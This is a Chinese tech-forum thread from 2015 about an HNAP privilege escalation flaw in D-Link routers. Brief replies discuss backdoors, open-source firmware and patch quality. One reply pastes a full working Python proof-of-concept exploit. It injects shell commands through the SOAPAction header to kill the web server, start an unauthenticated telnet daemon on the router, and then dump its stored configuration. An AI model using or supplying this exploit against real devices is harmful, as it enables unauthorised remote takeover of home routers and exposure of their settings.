各大无线路由器品牌暴漏洞

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这是一个创建于 3461 天前的主题，其中的信息可能已经有所发展或是发生改变。

HNAP Privilege Escalation Vulnerability
看看自己的路由器有没有出更新的固件。

先去更新我的 D-Link Dir-850L

路由器

hnap

escalation

7 条回复 • 2015-06-03 14:39:32 +08:00

lhbc

2015-06-03 02:56:32 +08:00 via Android

国产的全都有后门，还用查……

princeofwales

2015-06-03 08:24:44 +08:00

网件的会不会有问题，美帝的
就是怕了国产的，再便宜都不想买

lee015

2015-06-03 08:34:01 +08:00 via Android

刷了开源固件还会有问题吗？

ledzep2

2015-06-03 10:28:44 +08:00

现在电信联通连个公网ip都不给, 想访问都找不着. 洗洗睡...

Karblue

2015-06-03 14:27:12 +08:00

不是只影响Dlink么。国内厂商好像没有躺枪吧

Karblue

2015-06-03 14:32:04 +08:00

#!/usr/bin/env python

import sys
import urllib2
import httplib

try:
ip_port = sys.argv[1].split(':')
ip = ip_port[0]

if len(ip_port) == 2:
port = ip_port[1]
elif len(ip_port) == 1:
port = "80"
else:
raise IndexError
except IndexError:
print "Usage: %s <target ip:port>" % sys.argv[0]
sys.exit(1)

url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
# any port; killing the http server and re-using its port
# is not necessary.
#
# Killing off all hung hnap processes ensures that we can
# re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
"SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
}

req = urllib2.Request(url, None, headers)
try:
urllib2.urlopen(req)
raise Exception("Unexpected response")
except httplib.BadStatusLine:
print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
sys.exit(0)
except Exception:
print "Received an unexpected response from the server; exploit probably failed. :("

POC在此。从devttsy0大神po来的

Karblue

2015-06-03 14:39:32 +08:00

还发现了devttsy0的吐槽。吐槽Dlink的补丁。看了一下神tm补丁打的真是捉急
http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/